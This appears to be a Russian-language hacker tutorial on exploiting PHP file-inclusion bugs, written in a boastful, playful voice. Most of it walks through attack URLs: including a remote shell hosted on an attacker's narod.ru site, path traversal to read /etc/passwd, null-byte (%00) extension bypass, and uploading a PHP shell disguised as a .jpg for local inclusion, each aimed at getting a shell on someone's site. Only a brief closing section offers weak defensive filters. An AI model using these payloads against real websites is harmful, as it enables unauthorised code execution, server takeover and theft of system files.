[php injection]
Пхп инъекция довольно распространённый баг, чтобы его Эксплуатировать, не обязательно быть мега гением!
ПОЕХАЛИ
Мы попали на страницу Типа:
wwwsite/index.php?url=santaclaus или wwwsite/index.php?url=santaclaus.php или wwwsite/index.php?url=santaclaus.htm итд
в коде есть Include ("$index.php");
Теперь пробуем забить вместо santaclaus что-нить другое. Например kutak
www.site/index.php?url=kutak
Результат бывает разный
Рассмотрим 4 варианта
[Первый вариант]
Warning: main(kutak): failed to open stream: No such file or directory in /var/www/site/index.php on line 27 Warning: main(): Failed opening 'kutak' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in /var/www/site/index.php on line 27
Тут всё без гемора(main(kutak) никакого расширения не приписывается) идём регаем себе сайт: Можно даже на народе(Главное, чтоб shell скрипт не выполнялся, либо убираем права у себя на хосте со скрипта, либо идём на narod.ru И регаем сайт там, там пхп скрипты не выполняются, так как не поддерживаются, если Shell скрипт имеет права на выполнение у вас на хосте, то ничего не выйдет )
Мы зарегали сайт
_www.hacker.narod.ru/shell.php
Идём обратно и вставляем наш шелл(Инклудим его)
http://.site/index.php?url=http://site/index.php?url=hacker.narod.ru/shell.php
Если появляется шелл, то всё прошло успешно... НО не факт что код выполнится нормально, иногда админы убирают права на выполнение и наш шелл имеет "NOBODY" Тут ничего не поделаешь, можно ходить по директориям, но ничего изменять, записывать нельзя. Если права на выполнение нормальные, заливаем себе нормальный шелл и не паримся с неудобствами, (А то когда шелл когда шелл блестает на фоне обычного дизайна сайта, нас как-то это бесит)
ТУТ ВСЁ ИДЁМ ДАЛЕЕ
[Второй вариант]
Мы ввели:
www.site/index.php?url=kutak
Нам выдало
Warning: main(kutak.php): failed to open stream: No such file or directory in /var/www/site/index.php on line 27 Warning: main(): Failed opening 'kutak.php' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in /var/www/site/index.php on line 27
МЫ видим, что расширение уже написано(kutak.php)
Давайте рассмотрим если мы пойдём так же как в первом случае
http://.site/index.php?url=http://site/index.php?url=hacker.narod.ru/shell.php
Warning: main(http://site/index.php?url=hacker.narod.ru/shell.php.php): failed to open stream: No such file or directory in /var/www/site/index.php on line 27 Warning: main(): Failed opening 'http://site/index.php?url=hacker.narod.ru/shell.php.php' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in /var/www/site/index.php on line 27
Мы видим (shell.php.php) расширение дописалось и поэтому ничего не вышло
А теперь как правильно
http://.site/index.php?url=http://site/index.php?url=http://hacker.narod.ru/shell
брали расширение, оно автоматом дописывается, и мы получаем шелл, дальше действуем как хотим.
[Третий вариант вариант]
<? .. Include ("$index.html"); … ?>
Расширение html не даст вам толку, поэтому возможен только локальный инклуд
Warning: main(kutak.html): failed to open stream: No such file or directory in /var/www/site/index.php on line 27 Warning: main(): Failed opening 'kutak.html' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in /var/www/site/kutak.html on line 27
Итак, я остановился на локальном инклуде: Млжно смотреть файлы на сервере таким образом
www.site/index.php?url=/etc/passwd www.site/index.php?url=../../../../../../../etc/passwd или www.site/index.php?url=../index.php www.site/index.php?url=index.php
Если хотим видеть больше(не только html файлы) добавляем нулевой байт! %00 типа
www.site/index.php?url=/index.php%00
тогда мы сможем видеть и файлы c Другим расширением
Ну читаем мы файлы и шо дальше?
По идее ничего... Но если есть на сайте куда можно залить информацию, то даже много чего можно замутить... Например можно заливать куда нить фотографии и картинки (*.gif, *.jpg)
Заливаем фото только не своё(Ато будет ваше фото а под ним: ХАкер вася пытался взломать нас и залил своё фото на обозрение, шутка, к теме)!!!Мы заливаем файл Картинки с содержанием php шелла то есть обычный шелл только с расширением *.jpg, узнаем куда залилось
Далее его можно проинклудить пусть мы залили его в wwwsite/images/shell.jpg
www.site/index.php?url=/images/shell.jpg или www.site/index.php?url=../images/shell.jpg
У нас шелл в кармане!!! ДАлее делаем что хотим.
можно ещё локальным инклудом откопать и паролли, но это уже не для этой темы
[четвёртый вариант вариант]
<? .. Include ("$patch/papka/file.php"); … ?>
Видим: Дописывается расширение php и перед ним стоит папка "papka"
Идём на свой сайт на народе создаём у себя папку: "papka" и заливаем туда наш file.php
http://hacker.narod.ru/papka/file.php
Теперь заряжаем тал:
www.site/index.php?url=http://hacker.narod.ru
Автоматически добавляется papka/file.php
Опять мы получаем шелл! ЕЕЕЕ
Это всё, что я хотел рассказать. По взлому, теперь защита.
<? .. if (file_exists("$page.php")) //(Если файл существует=>Инклудить) { Include ("$page.php"); } Else //(Если нет => Шлём взломщика на куй) { Echo "ERROR!"; } … ?> ФИЛЬТР - НУ КАК ЖЕ БЕЗ НЕГО??
$index=str_replace("/","",$index); $index=str_replace(".","",$index); $index=str_replace(":","",$index); $index=str_replace("'","",$index); итд